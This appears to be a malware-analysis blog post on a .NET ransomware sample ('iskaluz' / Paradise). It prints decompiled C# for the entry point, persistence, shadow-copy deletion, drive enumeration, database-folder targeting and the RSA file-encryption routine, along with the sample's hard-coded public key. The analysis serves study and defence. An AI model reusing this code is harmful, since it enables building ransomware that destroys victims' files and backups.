iskaluz Ransomware
- 9 minsToday i wanna talk about a another .NET ransomware that @fbgwls245 on twitter found named as Paradise .NET
MD5: 307E85BC807B88E3E2C95BDFC3BEDDE4
A basic knowledge about the sample
TimeStamp: 2022-01-17 16:28:02
A 32bit .NET(v4.0.30319)[-] Executable file
PDB not found
Let’s talk about this ransomware though
It’s ransom letter looks kinda this
named as “#DECRYPT MY FILES#.txt”
- It Uses RSA-1024 for encryption of files with the system generated public RSA key and then encrypts the PrivateRSA Key with the stored masterPublic RSA key which is also RSA-1024
Stored MasterRSA Public Key:
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQD2NsbRUCBtLdSjgkyuLC+SvrRC
FK8QeVTdtbILtE8QDTb4yCimMbLdCNQHNa0tGBrd/Vix2u70ZvmybzIEurn1IPi0
q3vNu0+nb5V8FucJim7VoQYw15DeLjZ9gd5cVFN2XbpaqJ1DsW5lWVtjII5f43Cu
FmsrNtlU08/E8wrerQIDAQAB
-----END PUBLIC KEY-----
- It uses PKCS#1 v1.5 as padding
- It deletes shadow volumes with “cmd.exe /C sc delete VSS”
- It creates for autorun for persistance as let’s say the encrytion is stopped somehow in between so it will restart the encryption
that is it creates a reg key "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
in HKLM to create persistance with key DP_Main
and value C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe
Cool let’s start from start:
This is is how it’s entrypoint looks
Main Function
private static void EntryPoint(string[] args)
{
try
{
IntPtr consoleWindow = mainClass.api_imports.GetConsoleWindow();
mainClass.api_imports.ShowWindow(consoleWindow, 0);
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (File.Exists(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw"))))
{
Environment.Exit(0);
}
else
{
if (args.Length == 0)
{
bool flag = mainClass.writes_runs_as_admin();
if (flag)
{
int num = mainClass.checks_if_process_main_is_running();
if (!mainClass.returns_true_if_admin())
{
mainClass.dp_main_runas();
}
int num2 = mainClass.checks_if_process_main_is_running();
if (num2 > num)
{
Environment.Exit(0);
}
}
}
if (!mainClass.check_if_file_has_already_run_once())
{
mainClass.system_rsa_key_create();
mainClass.MasterRSA.FromXmlString(mainClass.RSA_MasterPublic);
mainClass.rsa.FromXmlString(mainClass.RSA_Public);
mainClass.private_key_encrypt_and_store();
while (mainClass.LockerForValidKey)
{
}
mainClass.setting_persistance();
mainClass.deletes_shadow();
}
mainClass.text = mainClass.text.Replace(Encoding.UTF8.GetString(Convert.FromBase64String("JUtFWSU=")), mainClass.CryptedPrivateKey);
mainClass.adding_drives_to_driveinfoque();
mainClass.encrypter_wrapper_main_main();
File.WriteAllText(folderPath + Encoding.UTF8.GetString(Convert.FromBase64String("XERQXHdlbGxkb25lLmRw")), Encoding.UTF8.GetString(Convert.FromBase64String("RG9uZQ==")));
Environment.Exit(0);
}
}
catch (Exception)
{
}
}
Though it does not looks like this a bit obfuscated or renamed! Cool let’s just follow up the above code
- Initially it asks for consolewindow and sets it 0 so its not shown
- Then it checks for the file
C:\Users\[username]\AppData\Roaming\DP\welldone.dp
this file is created when the process is completed and writes “Done” in the file welldone.dp which is set at last through File.WriteAllText() function - Then it will start the process as Admin with the help of
processInfo.Verb = "runas";
if not it will exit. - Then it will check if file has already ran once or not by finding the file
DecryptionInfo.auth
which contains the public RSA key used for file encryption and encrypted private key - Let’s take if the decryption info file is not present then it will create new rsa keys and will store in file Decryptioninfo.auth with function “private_key_encrypt_and_store” where it will create “DecryptionInfo.auth” and store
- Base64 encoded encrypted private key and
- XML format RSA_public key
It will store it in two folders
- Documents folder
- DP folder in ProgramFiles(x86)
- Next for setting persistance it will create registry key and create a file in
C:\Users\[username]\AppData\Roaming\DP\DP_Main.exe
- Then it will delete the shadow backup copies through “deletes_shadow”
- Next part is where it will create a Queue of all the drives in your system and will store it in your system.
Cool now comes the main encryption part!, Exiting!
The two main codes:
private static void encrypter_wrapper_main_main()
{
try
{
mainClass.encrypter_wrapper_main();
while (mainClass.Drives.Count != 0 && mainClass.Drives != null)
{
string text = Encoding.UTF8.GetString(Convert.FromBase64String(""));
text = mainClass.Drives.Dequeue();
if (!string.IsNullOrEmpty(text))
{
mainClass.encrypt_and_ransom_dropper(text);
}
}
mainClass.desktop_encrypter(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
}
catch (Exception)
{
}
}
private static void encrypter_wrapper_main()
{
mainClass.encrypt_and_ransom_dropper(Directory.GetCurrentDirectory());
foreach (string path in mainClass.Drives)
{
mainClass.recursive_sql_encrypter(path);
}
}
These two are the main wrappers of the encryption code:
One thing to notice the recursive_sql_encrypter It basically generates an array for Databases/backup
string[] array = new string[]
{
Encoding.UTF8.GetString(Convert.FromBase64String("bXlzcWw=")), //mysql
Encoding.UTF8.GetString(Convert.FromBase64String("ZmlyZWJpcmQ=")), //firebird
Encoding.UTF8.GetString(Convert.FromBase64String("IG1zc3Fs")), //mssql
Encoding.UTF8.GetString(Convert.FromBase64String("bWljcm9zb2Z0IHNxbA==")), // microsoft sql
Encoding.UTF8.GetString(Convert.FromBase64String("YmFja3Vw")) //backup
};
and while looking for directories, if it finds them it will encrypt it
Okay now the main encryption code:
Encryption Code:
private static void main_encrypter_and_filename_changer(string file, RSACryptoServiceProvider ThRSA)
{
if (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Personal) + Encoding.UTF8.GetString(Convert.FromBase64String("XA==")) + mainClass.result22))
{
mainClass.P0MNKUU55F();
return;
}
try
{
FileInfo fileInfo = new FileInfo(file);
if (fileInfo.Extension != mainClass.CryptedExtension && !fileInfo.FullName.Contains(Encoding.UTF8.GetString(Convert.FromBase64String("I0RFQ1JZUFQgTVkgRklMRVMjLnR4dA=="))) && fileInfo.Name != Encoding.UTF8.GetString(Convert.FromBase64String("RGVjcnlwdGlvbkluZm8uYXV0aA==")) && fileInfo.Extension != Encoding.UTF8.GetString(Convert.FromBase64String("LmRw")))
{
List<byte[]> list = new List<byte[]>();
List<byte> list2 = new List<byte>();
if (fileInfo.Length / 1024L > 64L)
{
list = mainClass.could_be_file_reader(file, 547);
}
else
{
int blocks_count = Convert.ToInt32(fileInfo.Length / 117L);
if (fileInfo.Length < 117L)
{
list.Add(File.ReadAllBytes(file));
using (FileStream fileStream = File.OpenWrite(file))
{
fileStream.SetLength(0L);
goto IL_137;
}
}
list = mainClass.could_be_file_reader(file, blocks_count);
}
IL_137:
if (list != null)
{
foreach (byte[] rgb in list)
{
byte[] collection = ThRSA.Encrypt(rgb, false);
list2.AddRange(collection);
}
File.AppendAllText(file, Encoding.UTF8.GetString(Convert.FromBase64String("PENSWVBURUQ+")) + Convert.ToBase64String(list2.ToArray()) + Encoding.UTF8.GetString(Convert.FromBase64String("PC9DUllQVEVEPg==")), Encoding.Default);
File.Move(file, string.Concat(new string[]
{
file,
Encoding.UTF8.GetString(Convert.FromBase64String("W0VtYWlsXS5b")),
mainClass.mail,
Encoding.UTF8.GetString(Convert.FromBase64String("XQ==")),
mainClass.CryptedExtension
}));
File.Delete(file);
}
}
}
catch (Exception)
{
}
}
- Initally i don’t why it creates a random file of 0 bytes i guess just for checking if it can create a file or not otherwise it will exit
- It will not encrypt files that have the encrypted extension that is “.iskaluz” or the file is DecryptionAuth or RansomLetter or has extension .dp
- It will use normal Encrypt function with PKCS padding
- After encryption it will rename / move the file to the name
[Email].[[email protected]].iskaluz
- Encryption format is
\<cryted> encrypted data <\/cryted>
This is all for this file encryption last is done in block length of 547
That’s all